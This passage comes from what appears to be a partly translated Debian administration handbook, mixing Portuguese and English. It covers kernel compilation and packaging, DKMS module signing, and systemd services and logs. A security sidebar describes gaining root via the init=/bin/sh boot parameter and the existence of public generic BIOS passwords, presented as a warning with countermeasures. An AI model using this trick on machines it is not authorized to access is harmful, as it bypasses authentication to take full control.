The upstream Linux sources contain everything needed to build a Debian package of the kernel. But you still need to install build-essential to ensure that you have the tools required to build a Debian package. Furthermore, the configuration step for the kernel requires the libncurses-dev package (formerly libncurses5-dev, which is now a transitional package). Finally, the fakeroot package will enable creation of the Debian package without using administrator's rights.

CULTURA Os bons e velhos tempos do kernel-package

Antes do sistema de construção do Linux ganhar a habilidade de construir pacotes Debian apropriados, a maneira recomendada de construir esses pacotes era usar o pacote make-kpkg from the kernel-package.

8.10.2. Pegando os Fontes

Como tudo mais que pode ser útil em um sistema Debian, os fontes do kernel Linux estão disponíveis em um pacote. Para obtê-los, apenas instale o pacote linux-source-versão. O comando apt search ^linux-source lista as várias versões do kernel empacotadas pelo Debian. A última versão está disponível na distribuição Unstable: você pode obtê-la sem muitos riscos (especialmente se o seu APT está configurado de acordo com as instruções em Seção 6.2.6, “Trabalhando com Distribuições Diversas”). Note que o código fonte contido nesses pacotes não correspondem precisamente com o que é publicado pelo Linus Torvalds e o desenvolvedores do kernel; como todas as distribuições, o Debian aplica inúmeros patches, que podem (ou não) serem incorporados na versão upstream do Linux. Essas modificações incluem backports de correções/recursos/drivers de novas versões do kernel, novos recursos ainda não (totalmente) inseridos na árvore do upstream do Linux, e, às vezes, até nas alterações específicas do Debian.

The remainder of this section focuses on the 5.10 version of the Linux kernel, but the examples can, of course, be adapted to the particular version of the kernel that you want.

We assume the linux-source-5.10 package has been installed. It contains /usr/src/linux-source-5.10.tar.xz, a compressed archive of the kernel sources. You must extract these files in a new directory (not directly under /usr/src/, since there is no need for special permissions to compile a Linux kernel): ~/kernel/ is appropriate.

$ mkdir ~/kernel; cd ~/kernel $ tar -xaf /usr/src/linux-source-5.10.tar.xz

CULTURA Localização dos fontes do núcleo

Tradicionalmente, os fontes do kernel Linux deveriam ser colocados em /usr/src/linux/, e assim, requerer permissões de root para compilação. Entretanto, trabalhar com direitos de administrador deve ser evitado quando não é necessário. Existe um grupo src que permite que seus membros trabalhem nesse diretório, mas trabalhar em /usr/src/ deve ser evitado entretanto. Mantendo os fontes do kernel em um diretório pessoal, você obtêm segurança em todas as contas: nenhum arquivo em /usr/ desconhecido pelo sistema de empacotamento, e nenhum risco de engano por programas que leem o /usr/src/linux enquanto tentam ganhar informação do kernel em uso.

Para construir um kernel a partir das fontes puras, simplesmente descarregue o tarball da versão de sua escolha do kernel.org, verifique a integridade após importar a chave dos mantedores do kernel, e depois proceda como se descreve nos seguintes capítulos-

→ https://kernel.org/pub/linux/kernel/

→ https://git.kernel.org/pub/scm/docs/kernel/pgpkeys.git/tree/keys

$ wget https://kernel.org/pub/linux/kernel/v5.x/linux-5.10.62.tar.xz [..] $ wget https://kernel.org/pub/linux/kernel/v5.x/linux-5.10.62.tar.sign [..] $ unxz -c linux-5.10.62.tar.xz | gpg --verify linux-5.10.62.tar.sign - gpg: Assinatura feita em sex 03 Set 2021 10:11:35 AM CEST gpg: using RSA key 647F28654894E3BD457199BE38DBBDC86092693E gpg: Good signature from "Greg Kroah-Hartman <gregkh@linuxfoundation.org>" [unknown] gpg: aka "Greg Kroah-Hartman (Linux kernel stable release signing key) <greg@kroah.com>" [unknown] gpg: aka "Greg Kroah-Hartman <gregkh@kernel.org>" [unknown] gpg: WARNING: Esta chave não está identificada como uma assinatura de confiança! gpg: Não existe indicação que a assinatura pertence ao dono. Primary key fingerprint: 647F 2865 4894 E3BD 4571 99BE 38DB BDC8 6092 693E

8.10.3. Configurando o Núcleo

O próximo passo consiste da configuração do núcleo de acordo com suas necessidades. O procedimento exato depende dos objetivos.

Quando recompilamos uma versão mais recente do núcleo (possivelmente com um patch adicional), a configuração, provavelmente, será mantida o mais próximo possível daquela proposta pelo Debian. Nesse caso, e ao invés de reconfigurar tudo a partir do zero, será suficiente copiar o arquivo /boot/config-versão (a versão é aquela do núcleo atualmente usado, a qual pode ser encontrada com o comando uname -r) no arquivo .config dentro do diretório contendo os fontes do núcleo. Certifique-se de ler a barra lateral TIP Missing debian/certs/debian-uefi-certs.pem neste caso.

$ cp /boot/config-5.10.0-8-amd64 ~/kernel/linux-source-5.10/.config

A menos que você precise mudar a configuração, você pode parar por aqui e pular para Seção 8.10.4, “Compilando e Construindo um Pacote”. Se você precisa mudá-la, por outro lado, ou se você decidir reconfigurar tudo a partir do zero, você precisa dedicar um tempo para configurar seu núcleo. Existem varias interfaces dedicadas no diretório do fonte do núcleo que podem ser usadas executando o comando make alvo, aonde alvo é um dos valores descritos abaixo.

make menuconfig compiles and executes a text-mode interface (this is where the libncurses-dev package is required) which allows navigating the options available in a hierarchical structure. Pressing the Space key changes the value of the selected option, and Enter validates the button selected at the bottom of the screen; Select returns to the selected sub-menu; Exit closes the current screen and moves back up in the hierarchy; Help will display more detailed information on the role of the selected option. The arrow keys allow moving within the list of options and buttons. To exit the configuration program, choose Exit from the main menu. The program then offers to save the changes you've made; accept if you are satisfied with your choices.

Other interfaces have similar features, but they work within more modern graphical interfaces; such as make xconfig which uses a Qt graphical interface, and make gconfig which uses GTK+. The former requires qtbase5-dev, while the latter depends on libglade2-dev and libgtk2.0-dev.

Ao usar uma dessa interfaces de configuração, sempre é uma boa ideia iniciar a partir de uma configuração padrão razoável. O núcleo prove tais configurações em arch/arch/configs/*_defconfig e você pode colocar sua configuração selecionada no lugar com um comando como make x86_64_defconfig (no caso de um PC de 64-bit) ou make i386_defconfig (no caso de um PC de 32-bit).

DICA Lidando com arquivos .config desatualizados

Quando você provê um arquivo .config que tenha sido gerado por outra versão do núcleo (geralmente mais antiga), você terá que atualizá-lo. Você pode fazer isso com o make oldconfig, ele irá interativamente perguntar a você as perguntas correspondentes as novas opções de configuração. Se você quiser usar a resposta padrão para todas essas perguntas você pode usar o make olddefconfig. Com o make oldnoconfig, ele assumirá uma resposta negativa em todas as perguntas.

8.10.4. Compilando e Construindo um Pacote

NOTA Limpar antes de construir

If you have already compiled once in the directory and wish to rebuild everything from scratch (for example, because you substantially changed the kernel configuration), you will have to run make clean to remove the compiled files. make distclean removes even more generated files, including your .config file too, so make sure to backup it first.

Uma vez que a configuração do núcleo esteja pronta, um simples make deb-pkg gerará até 5 pacotes Debian:

linux-image-versão

contém a imagem do núcleo ("kernel") e os módulos associados,

linux-headers-versão

contém os arquivos de cabeçalho necessários para criar módulos externos,

linux-firmware-image-versão

contém os arquivos de firmware necessários para alguns controladores (este pacote poderia faltar quando se constrói desde as fontes do núcleo fornecidas pelo Debian),

linux-image-versão-dbg

contém os símbolos de depuração para a imagem do kernel e seus módulos (criados apenas se CONFIG_DEBUG_INFO=y), e

linux-libc-dev

contém cabeçalhos relevantes para algumas bibliotecas do espaço de usuário como GNU glibc.

The version is defined by the concatenation of the upstream version (as defined by the variables VERSION, PATCHLEVEL, SUBLEVEL, and EXTRAVERSION in the Makefile), of the LOCALVERSION configuration parameter, and of the LOCALVERSION environment variable. The package version reuses the same version string with an appended revision that is regularly incremented (and stored in .version), except if you override it with the KDEB_PKGVERSION environment variable.

$ make deb-pkg LOCALVERSION=-falcot KDEB_PKGVERSION=$(make kernelversion)-1 [...] $ ls ../*.deb ../linux-headers-5.10.46-falcot_5.10.46-1_amd64.deb ../linux-image-5.10.46-falcot_5.10.46-1_amd64.deb ../linux-image-5.10.46-falcot-dbg_5.10.46-1_amd64.deb ../linux-libc-dev_5.10.46-1_amd64.deb

Todo o processo requer uns 20 GB de espaço livre, pelo menos 8 GB de RAM e várias horas de compilação (utilizando um núcleo) para um kernel Debian amd64. Estes requisitos podem-se reduzir drasticamente desabilitando a informação de depuração usando CONFIG_DEBUG_INFO=n, mas isto fará impossível rastrear erros do kernel ("oops") usando gdb e também deterá a criação do pacotelinux-image-versão-dbg.

TIP Missing debian/certs/debian-uefi-certs.pem

O núcleo padrão no Debian contém a seguinte configuração:

[..] # # Certificados para verificação de assinatura # CONFIG_MODULE_SIG_KEY="" CONFIG_SYSTEM_TRUSTED_KEYRING=y CONFIG_SYSTEM_TRUSTED_KEYS="debian/certs/debian-uefi-certs.pem" # CONFIG_SYSTEM_EXTRA_CERTIFICATE is not set CONFIG_SECONDARY_TRUSTED_KEYRING=y CONFIG_SYSTEM_BLACKLIST_KEYRING=y CONFIG_SYSTEM_BLACKLIST_HASH_LIST="" # fim de verificação de Certificados de assinaturas [..]

A criação de um kernel personalizado baseado nestas configurações falhará se não existe debian/certs/debian-uefi-certs.pem. Este arquivo pode ser obtido do repositório Git da equipe do kernel e colocado na árvore de fontes, ou pode ser substituído pelo(s) seu(s) próprio(s) certificado(s), ou terás que desabilitar a configuração através de CONFIG_SYSTEM_TRUSTED_KEYS="".

→ https://salsa.debian.org/kernel-team/linux/-/blob/master/debian/certs/debian-uefi-certs.pem

8.10.5. Compilando Módulos Externos

Some modules are maintained outside of the official Linux kernel. To use them, they must be compiled alongside the matching kernel. A number of common third party modules are provided by Debian in dedicated packages, such as vpb-driver-source (extra modules for Voicetronix telephony hardware) or leds-alix-source (driver of PCEngines ALIX 2/3 boards).

Esses pacotes são muitos e variados, o apt-cache rdepends module-assistant $ pode mostrar a lista fornecida pelo Debian. No entanto, uma lista completa não é particularmente útil, pois não há nenhuma razão particular para compilar módulos externos, exceto quando você sabe que precisa dela. Nesses casos, a documentação do dispositivo normalmente detalha o(s) módulo(s) específico(s) de que ele precisa para funcionar no Linux.

For example, let's look at the dahdi-source package: after installation, a .tar.bz2 of the module's sources is stored in /usr/src/. While we could manually extract the tarball and build the module, in practice we prefer to automate all this using the DKMS framework (Dynamic Kernel Module Support). Most modules offer the required DKMS integration in a package ending with a -dkms suffix. In our case, installing dahdi-dkms is all that is needed to compile the kernel module for the current kernel provided that we have the linux-headers-* package matching the installed kernel. For instance, if you use linux-image-amd64, you would also install linux-headers-amd64.

QUICK LOOK DKMS and Secure Boot

Em sistemas UEFI com Secure Boot habilitada, os módulos requerem assinatura antes de poderem ser carregados. Os módulos enviados com os pacotes do kernel são assinados. Mas os módulos externos não são. Felizmente, o dkms já tem tudo o que é necessário para assinar módulos construídos.

Primeiro, crie uma chave privada /root/dkms.key e um certificado correspondente/root/DKMS.der com openssl, e registre-o com o comando mokutil --import /root/dkms.der (por favor leia /usr/share/doc/dkms/README.md.gz para mais detalhes). Isso exigirá uma reinicialização e a importação ativa do certificado usando a interface EFI MOK Manager. Depois disso, a linha sign_tool em /etc/dkms/framework.conf deve ser descomentada. Os módulos já construídos precisam de ser reconstruídos, para serem assinados pelo certificado recém-criado e inscrito. Novos módulos serão assinados automaticamente.

$ sudo apt install dahdi-dkms [...] Setting up dkms (2.8.4-3) ... Setting up linux-headers-5.10.0-8-amd64 (5.10.46-4) ... /etc/kernel/header_postinst.d/dkms: dkms: running auto installation service for kernel 5.10.0-8-amd64:. Setting up dahdi-dkms (1:2.11.1.0.20170917~dfsg-7.4) ... Loading new dahdi-2.11.1.0.20170917~dfsg-7.4 DKMS files... Building for 5.10.0-8-amd64 Building initial module for 5.10.0-8-amd64 Done. dahdi_dummy.ko: Running module version sanity check. - Original module - No original module exists within this kernel - Installation - Installing to /lib/modules/5.10.0-8-amd64/updates/dkms/ dahdi_dynamic_eth.ko: Running module version sanity check. - Original module - No original module exists within this kernel - Installation - Installing to /lib/modules/5.10.0-8-amd64/updates/dkms/ [...] DKMS: install completed. $ sudo dkms status dahdi, 2.11.1.0.20170917~dfsg-7.4, 5.10.0-8-amd64, x86_64: installed $ sudo modinfo dahdi_dummy filename: /lib/modules/5.10.0-8-amd64/updates/dkms/dahdi_dummy.ko license: GPL v2 author: Robert Pleh <robert.pleh@hermes.si> description: Timing-Only Driver depends: dahdi retpoline: Y name: dahdi_dummy vermagic: 5.10.0-8-amd64 SMP mod_unload modversions parm: debug:int

ALTERNATIVAmodule-assistant

Antes do DKMS, o module-assistant era a solução mais simples para construir e implantar módulos do núcleo. Ele ainda pode ser usado, em particular para pacotes sem integração com o DKMS: com um simples comando como module-assistant auto-install dahdi (ou m-a a-i dahdi para abreviar),os módulos são compilados para o núcleo atual, colocado em um novo pacote Debian, e o pacote é instalado na hora.

8.10.6. Aplicando um Patch ao Núcleo

Alguns recursos não são incluídos no kernel padrão devido a falta de maturidade ou algum desentendimento entre os mantenedores do kernel. Tais recursos podem ser distribuídos através de patches, e assim, qualquer um está livre para aplicá-los aos fontes do kernel.

O Debian às vezes fornece alguns desses patches em pacotes linux-patch-*, mas eles geralmente não chegam a versões estáveis (às vezes pelos mesmos motivos que eles não são combinados no kernel upstream oficial). Esses pacotes instalam arquivos no diretório /usr/src/kernel-patches/.

To apply one or more of these installed patches, use the patch command in the sources directory then start compilation of the kernel as described above. The following shows an old example using linux-patch-grsecurity2 and linux-source-4.9.

$ cd ~/kernel/linux-source-4.9 $ make clean $ zcat /usr/src/kernel-patches/diffs/grsecurity2/grsecurity-3.1-4.9.11-201702181444.patch.gz | patch -p1

Note que um patch(qualquer um) talvez não necessariamente funcione com todas as versões do núcleo; é possível que o patch falhe ao aplicá-lo nos fontes do núcleo. Uma mensagem de error será exibida e informará alguns detalhes sobre a falha; neste caso, referencie a documentação disponível no pacote Debian do patch (no diretório /usr/share/doc/linux-patch-*/). Na maioria dos casos, o mantenedor indica para qual versão do núcleo o patch é feito.

8.11. Instalando o Núcleo

8.11.1. Características do Pacote de Núcleo do Debian

Um pacote Debian do núcleo instala uma imagem do núcleo (vmlinuz-versão), sua configuração (config-versão) e sua tabela de símbolos (System.map-versão) em /boot/. Os módulos são instalados no diretório /lib/modules/versão/.

CULTURA A tabela de símbolos

A tabela de símbolos ajuda os desenvolvedores entender o significado de uma mensagem de erro do núcleo; sem isso, um “oopses” do núcleo (um “oops” é equivalente, no caso do núcleo, a uma falha de segmentação para programas em espaço do usuário, em outras palavras, uma mensagem gerada na sequência de uma deferência de um ponteiro inválido) apenas contém números de endereços de memória, o que é informação inútil sem uma tabela mapeando esses endereços para símbolos e nomes de funções.

The package's configuration scripts automatically generate an initramfs image (the successor of the old initial ramdisk initrd image), which is a compressed mini-system designed to be loaded in memory (hence the name, which stands for “initial ram filesystem”) by the bootloader, and used by the Linux kernel solely for loading the modules needed to access the devices containing the complete Debian system (for example, the driver for SATA disks). Finally, the post-installation scripts update the symbolic links /vmlinuz, /vmlinuz.old, /initrd.img, and /initrd.img.old so that they point to the latest two kernels installed, respectively, as well as the corresponding initramfs boot images.

A maioria dessas tarefas são delegadas aos scripts hook nos diretórios /etc/kernel/*.d/. Por exemplo, a integração com o grub se apoia em /etc/kernel/postinst.d/zz-update-grub e /etc/kernel/postrm.d/zz-update-grub para chamar update-grub quando os núcleos são instalados ou removidos.

8.11.2. Instalando com dpkg

Using apt is so convenient that it makes it easy to forget about the lower-level tools, but the easiest way of installing a compiled kernel is to use a command such as dpkg -i package.deb, where package.deb is the name of a linux-image package such as linux-image-5.10.46-falcot_5.10.46-1_amd64.deb.

As etapas de configuração descritas neste capítulo são básicas e podem levar tanto a um sistema servidor ou a uma estação de trabalho, e podem ser massivamente duplicadas em modos semi-automatizados. Contudo, não é suficiente por si só para prover um sistema completamente configurado. Algumas peças ainda precisam ser configuradas, começando por programas de baixo nível (low-level) conhecidos como “Unix services”.

Capítulo 9. Serviços Unix

Este capítulo abrange uma série de serviços básicos que são comuns a muitos sistemas Unix. Todos os administradores devem estar familiarizados com eles.

9.1. Inicialização do Sistema

Quando você inicia o computador, algumas mensagens rolarão pelo console automaticamente inicializando e as configurações são automaticamente executadas. Algumas vezes você pode desejar alterar como este estágio funciona, de forma que possa entender isto muito bem. Este é o propósito desta seção.

Em sistemas com BIOS, primeiro, o BIOS assume o controle do computador, inicializa os controladores e o hardware, detecta os discos e faz a ponte entre tudo. Em seguida, ele procura o Master Boot Record (MBR) do primeiro disco na ordem de inicialização e carrega o código armazenado lá (primeiro estágio). Este código então inicia o segundo estágio e finalmente executa o bootloader.

Em contraste com o BIOS, o UEFI é mais sofisticado, conhece sistemas de arquivos e pode ler as tabelas de partição. A interface procura no armazenamento do sistema uma partição marcada com um identificador globalmente exclusivo (globally unique identifier - GUID) específico que a marca como a EFI System Partition (ESP ), onde estão localizados os carregadores de inicialização, gerenciadores de inicialização, shell UEFI, etc., e inicia o gerenciador de inicialização desejado. Se o Secure Boot estiver ativado, o processo de inicialização verificará a autenticidade dos binários EFI por assinatura (portanto, grub-efi-arch-signed é necessário em este caso). A especificação UEFI também define o suporte para inicialização no modo BIOS herdado. Isso é chamado de Módulo de suporte de compatibilidade (CSM). Se o CSM estiver ativado, ele tentará inicializar a partir do MBR de uma unidade. No entanto, muitos sistemas novos não suportam mais o modo CSM.

In both cases then the actual bootloader takes over, finds either a chained bootloader or the kernel on the disk, loads, and executes it. The kernel is then initialized, and starts to search for and mount the partition containing the root filesystem, and finally executes the first program — init. Frequently, this “root partition” and this init are, in fact, located in a virtual filesystem that only exists in RAM (hence its name, “initramfs”, formerly called “initrd” for “initialization RAM disk”). This filesystem is loaded in memory by the bootloader, often from a file on a hard drive or from the network. It contains the bare minimum required by the kernel to load the “true” root filesystem: this may be driver modules for the hard drive, or other devices without which the system cannot boot, or, more frequently, initialization scripts and modules for assembling RAID arrays, opening encrypted partitions, activating LVM volumes, etc. Once the root partition is mounted, the initramfs hands over control to the real init, and the machine goes back to the standard boot process.

9.1.1. O sistema init systemd

O “init real” é atualmente fornecido pelo systemd e essa seção documenta esse sistema init.

CULTURA Antes do systemd

O systemd é um "sistema init" relativamente recente, e embora ele já estivesse disponível, até certo ponto, no Wheezy, ele só se tornou o padrão no Debian Jessie. Lançamentos anteriores faziam uso, por padrão, do “System V init” (no pacote sysv-rc), um sistema muito mais tradicional. Nós descreveremos o "System V init" mais tarde.

ALTERNATIVA Outros sistemas de inicializações

This book describes the boot system used by default in Debian since Buster (as implemented by the systemd package), as well as the previous default, sysvinit, which is derived and inherited from System V Unix systems; there are others.

O recém-chegado sistema upstart ainda não está perfeitamente testado no Debian. Ele é baseado em eventos: scripts de inicialização não são mais executados em uma ordem sequencial, mas em resposta a eventos como a conclusão de um outro script do qual eles são dependentes. Este sistema, iniciado pelo Ubuntu, estava presente no Debian Jessie, mas não era o padrão; ele veio, de fato, como um substituto para o sysvinit, e uma das funções iniciadas pelo upstart era iniciar os scripts escritos para sistemas tradicionais, especialmente aqueles do pacote sysv-rc.

openrc é um gerenciador de serviço baseado em dependência. Ele foi originalmente escrito para o projeto Gentoo, mas visa ser independente de plataforma. Ele mantém a compatibilidade com o sistema init do System V e fornece suporte para inicialização, alteração de níveis de execução, início e interrupção de serviços (em paralelo) e desligamento.

There are also other systems and other operating modes, such as file-rc, runit, or minit, but some of them are relatively specialized and not widespread.

Figura 9.1. Sequência de inicialização de um computador rodando Linux com systemd

SPECIFIC CASE Inicializando pela rede

In some configurations, the system may be configured not to execute code from the physical hardware, but to seek its equivalent on the network, making it possible to build computers without a hard drive, or which are completely reinstalled on each boot. This option is not available on all hardware and it generally requires an appropriate combination of firmware and network card.

A inicialização através da rede pode ser usada para iniciar o debian-installer ou FAI (ver Seção 4.1, “Métodos de Instalação”).

DE VOLTA AO BÁSICO Um processo, uma instância do programa

A process is the representation of a running program in memory. It includes all of the information necessary for the proper execution of the software (the code itself, but also the data that it has in memory, the list of files that it has opened, the network connections it has established, etc.). A single program may be instantiated into several processes, not necessarily running under different user IDs.

SECURITY Usando Shell como init para ganhar privilégios de root

Por convenção, o primeiro processo que é carregado é o programa init ( que é uma ligação simbólica para /lib/systemd/systemd, por padrão). Contudo, é possível passar uma opção init para o kernel indicando um programa diferente.

Qualquer pessoa que é capaz de acessar o computador pode pressionar o botão Reset, e, portanto reinicia-lo. Então, no prompt do inicializador do sistema, é possível passar opção init=/bin/sh para o kernel e ganhar acesso root sem saber a senha de administrador.

Para evitar isso, você pode proteger o bootloader com uma senha. Você também pode pensar em proteger o acesso ao BIOS (um mecanismo de proteção por senha geralmente é disponível), sem o qual, um intruso mal-intencionado ainda possa iniciar a máquina por uma mídia removível que contém o seu próprio sistema Linux, que ele pode então usar para acessar dados sobre discos rígidos do computador.

Finally, be aware that most BIOS/EFI implementations have a generic password available. Initially intended for troubleshooting for those who have forgotten their password, these passwords are now public and available on the Internet (see for yourself by searching for “generic BIOS passwords” in a search engine). All of these protections will thus impede unauthorized access to the machine without being able to completely prevent it. There is no reliable way to protect a computer if the attacker can physically access it; they could dismount the hard drives to connect them to a computer under their own control anyway, or even steal the entire machine, or erase the BIOS memory to reset the password…

O systemd executa vários processos, se encarregando de configurar o sistema: teclados, drivers, sistemas de arquivos, rede, serviços. Ele faz isso enquanto mantém uma visão global do sistema como um todo, e os requerimentos dos componentes. Cada componente é descrito por um "arquivo unit” (às vezes mais); a sintaxe geral é derivada do amplamente usado "arquivos *.ini“, com os pares chave = valor agrupados entre cabeçalhos [seção ("section")]. Arquivos unit são armazenados em /lib/systemd/system/ e /etc/systemd/system/; eles vem em vários sabores, mas nós iremos focar nos serviços (“services”) e alvos (“targets”) aqui.

A systemd “.service file” describes a process managed by systemd. It contains roughly the same information as old-style init-scripts, but expressed in a declaratory (and much more concise) way. Systemd handles the bulk of the repetitive tasks (starting and stopping the process, checking its status, logging, dropping privileges, and so on), and the service file only needs to fill in the specifics of the process. For instance, here is the service file for SSH:

[Unit] Description=OpenBSD Secure Shell server Documentation=man:sshd(8) man:sshd_config(5) After=network.target auditd.service ConditionPathExists=!/etc/ssh/sshd_not_to_be_run [Service] EnvironmentFile=-/etc/default/ssh ExecStartPre=/usr/sbin/sshd -t ExecStart=/usr/sbin/sshd -D $SSHD_OPTS ExecReload=/usr/sbin/sshd -t ExecReload=/bin/kill -HUP $MAINPID KillMode=process Restart=on-failure RestartPreventExitStatus=255 Type=notify RuntimeDirectory=sshd RuntimeDirectoryMode=0755 [Install] WantedBy=multi-user.target Alias=sshd.service

The [Unit] section contains generic information about the service, like its description and manual page resources, as well as relations (dependency and order) to other services. The [Service] part contains the declarations related to the service execution (starting, stopping, killing, restarting), directories and configuration file(s) used. The last section, [Install], again carries generic information into which targets to install the service and, in this case, the alias that can be used instead of the service name. As you can see, there is very little code in there, only declarations. Systemd takes care of displaying progress reports, keeping track of the processes, and even restarting them when needed. The syntax of these files is fully described in several manual pages (e.g. systemd.service(5), systemd.unit(5), systemd.exec(5), etc.).

A systemd “.target file” describes a state of the system where a set of services are known to be operational. It can be thought of as an equivalent of the old-style runlevel. One of the pre-defined targets is local-fs.target; when it is reached, the rest of the system can assume that all local filesystems are mounted and accessible. Other targets include network-online.target and sound.target (for a full list of special targets see systemd.special(7)). The dependencies of a target can be listed either within the target file (in the Requires= line), or using a symbolic link to a service file in the /lib/systemd/system/targetname.target.wants/ directory. For instance, /etc/systemd/system/printer.target.wants/ contains a link to /lib/systemd/system/cups.service; systemd will therefore ensure CUPS is running in order to reach printer.target.

Como arquivos unit são declarativos ao invés de scripts ou programas, eles não podem ser executados diretamente, e eles só são interpretados pelo systemd; vários utilitários, entretanto, permitem que o administrador interaja com o systemd e controle o estado do sistema e de cada componente.

O primeiro de tais utilitários é o systemctl. Quando rodado sem argumentos, ele lista todos os arquivos unit conhecidos pelo systemd (exceto aqueles que tenham sido desabilitados), assim como seus status. O systemctl status retorna uma visão melhor dos serviços, assim como os processos relacionados. Se o nome do serviço for informado (como em systemctl status ntp.service), ele retorna ainda mais detalhes, assim como as últimas linhas de registro ("log") relacionadas ao serviço (mais sobre isso mais tarde).

Iniciar um serviço a mão é uma simples questão de rodar systemctl start nomedoserviço.service. Como se pode imaginar, para o serviço é feito com systemctl stop nomedoserviço.service; outros subcomandos incluem reload e restart.

Para controlar se um serviço está ativo (ou seja, se ele será iniciado automaticamente na inicialização), use systemctl enable nomedoserviço.service (ou disable). is-enabled permite checar o status do serviço.

Um recurso interessante do systemd é que ele inclui um componente de "logging" de nome journald. Ele vem como um complemento para sistemas de "logging" mais tradicionais, tal como o syslogd, mas ele adiciona recursos interessantes tal como uma ligação formal entre um serviço e as mensagens que ele gera, e a habilidade de capturar mensagens de erro geradas pela sua sequência de inicialização. As mensagens podem ser exibidas mais tarde, com um pequena ajuda do comando journalctl. Sem qualquer argumento, ele simplesmente derrama todas as mensagens de "log" que ocorreram desde a inicialização do sistema; ele raramente será usado de tal maneira. Na maior parte do tempo, ele será usado com um identificador de serviço:

# journalctl -u ssh.service -- Logs begin at Tue 2015-03-31 10:08:49 CEST, end at Tue 2015-03-31 17:06:02 CEST. -- Mar 31 10:08:55 mirtuel sshd[430]: Server listening on 0.0.0.0 port 22. Mar 31 10:08:55 mirtuel sshd[430]: Server listening on :: port 22. Mar 31 10:09:00 mirtuel sshd[430]: Received SIGHUP; restarting. Mar 31 10:09:00 mirtuel sshd[430]: Server listening on 0.0.0.0 port 22. Mar 31 10:09:00 mirtuel sshd[430]: Server listening on :: port 22. Mar 31 10:09:32 mirtuel sshd[1151]: Accepted password for roland from 192.168.1.129 port 53394 ssh2 Mar 31 10:09:32 mirtuel sshd[1151]: pam_unix(sshd:session): session opened for user roland by (uid=0)

Outra opção de linha de comando útil é a -f, que instrui o journalctl a manter a exibição de novas mensagens assim que elas são emitidas (similar ao tail -f arquivo).

Se um serviço não parece estar trabalhando como o esperado, o primeiro passo para resolver o problema é checar se o serviço está realmente rodando com systemctl status; se ele não está, e as mensagens obtidas pelo primeiro comando não são suficientes para diagnosticar o problema, confira os registros ("logs") coletados pelo journald sobre esse serviço. Por exemplo, suponha que o servidor SSH não esteja funcionando:

# systemctl status ssh.service ● ssh.service - OpenBSD Secure Shell server Loaded: loaded (/lib/systemd/system/ssh.service; enabled) Active: failed (Result: start-limit) since Tue 2015-03-31 17:30:36 CEST; 1s ago Process: 1023 ExecReload=/bin/kill -HUP $MAINPID (code=exited, status=0/SUCCESS) Process: 1188 ExecStart=/usr/sbin/sshd -D $SSHD_OPTS (code=exited, status=255) Main PID: 1188 (code=exited, status=255) Mar 31 17:30:36 mirtuel systemd[1]: ssh.service: main process exited, code=exited, status=255/n/a Mar 31 17:30:36 mirtuel systemd[1]: Unit ssh.service entered failed state. Mar 31 17:30:36 mirtuel systemd[1]: ssh.service start request repeated too quickly, refusing to start. Mar 31 17:30:36 mirtuel systemd[1]: Failed to start OpenBSD Secure Shell server. Mar 31 17:30:36 mirtuel systemd[1]: Unit ssh.service entered failed state. # journalctl -u ssh.service -- Logs begin at Tue 2015-03-31 17:29:27 CEST, end at Tue 2015-03-31 17:30:36 CEST. -- Mar 31 17:29:27 mirtuel sshd[424]: Server listening on 0.0.0.0 port 22. Mar 31 17:29:27 mirtuel sshd[424]: Server listening on :: port 22. Mar 31 17:29:29 mirtuel sshd[424]: Received SIGHUP; restarting. Mar 31 17:29:29 mirtuel sshd[424]: Server listening on 0.0.0.0 port 22. Mar 31 17:29:29 mirtuel sshd[424]: Server listening on :: port 22. Mar 31 17:30:10 mirtuel sshd[1147]: Accepted password for roland from 192.168.1.129 port 38742 ssh2 Mar 31 17:30:10 mirtuel sshd[1147]: pam_unix(sshd:session): session opened for user roland by (uid=0) Mar 31 17:30:35 mirtuel sshd[1180]: /etc/ssh/sshd_config line 28: unsupported option "yess". Mar 31 17:30:35 mirtuel systemd[1]: ssh.service: main process exited, code=exited, status=255/n/a Mar 31 17:30:35 mirtuel systemd[1]: Unit ssh.service entered failed state. Mar 31 17:30:35 mirtuel sshd[1182]: /etc/ssh/sshd_config line 28: unsupported option "yess". Mar 31 17:30:35 mirtuel systemd[1]: ssh.service: main process exited, code=exited, status=255/n/a Mar 31 17:30:35 mirtuel systemd[1]: Unit ssh.service entered failed state. Mar 31 17:30:35 mirtuel sshd[1184]: /etc/ssh/sshd_config line 28: unsupported option "yess". Mar 31 17:30:35 mirtuel systemd[1]: ssh.service: main process exited, code=exited, status=255/n/a Mar 31 17:30:35 mirtuel systemd[1]: Unit ssh.service entered failed state. Mar 31 17:30:36 mirtuel sshd[1186]: /etc/ssh/sshd_config line 28: unsupported option "yess". Mar 31 17:30:36 mirtuel systemd[1]: ssh.service: main process exited, code=exited, status=255/n/a Mar 31 17:30:36 mirtuel systemd[1]: Unit ssh.service entered failed state. Mar 31 17:30:36 mirtuel sshd[1188]: /etc/ssh/sshd_config line 28: unsupported option "yess". Mar 31 17:30:36 mirtuel systemd[1]: ssh.service: main process exited, code=exited, status=255/n/a Mar 31 17:30:36 mirtuel systemd[1]: Unit ssh.service entered failed state. Mar 31 17:30:36 mirtuel systemd[1]: ssh.service start request repeated too quickly, refusing to start. Mar 31 17:30:36 mirtuel systemd[1]: Failed to start OpenBSD Secure Shell server. Mar 31 17:30:36 mirtuel systemd[1]: Unit ssh.service entered failed state. # vi /etc/ssh/sshd_config # systemctl start ssh.service # systemctl status ssh.service ● ssh.service - OpenBSD Secure Shell server Loaded: loaded (/lib/systemd/system/ssh.service; enabled) Active: active (running) since Tue 2015-03-31 17:31:09 CEST; 2s ago Process: 1023 ExecReload=/bin/kill -HUP $MAINPID (code=exited, status=0/SUCCESS) Main PID: 1222 (sshd) CGroup: /system.slice/ssh.service └─1222 /usr/sbin/sshd -D #

Após checar o status do serviço (failed), nós fomos checar os registros ("logs"); eles indicam um erro no arquivo de configuração. Após editar o arquivo de configuração e consertar o erro, nós reiniciamos o serviço, e então verificamos se ele está realmente rodando.

INDO ALÉM Outros tipos de arquivos unit

Nesta seção, nós apenas descrevemos as mais básicas capacidades do systemd. Ele oferece muitos outros recursos interessantes; nós iremos listar apenas alguns aqui:

socket activation: a “socket” unit file can be used to describe a network or Unix socket managed by systemd; this means that the socket will be created by systemd, and the actual service may be started on demand when an actual connection attempt comes. This roughly replicates the feature set of inetd. See systemd.socket(5).

timers: a “timer” unit file describes events that occur with a fixed frequency or on specific times; when a service is linked to such a timer, the corresponding task will be executed whenever the timer fires. This allows replicating part of the cron features. See systemd.timer(5).

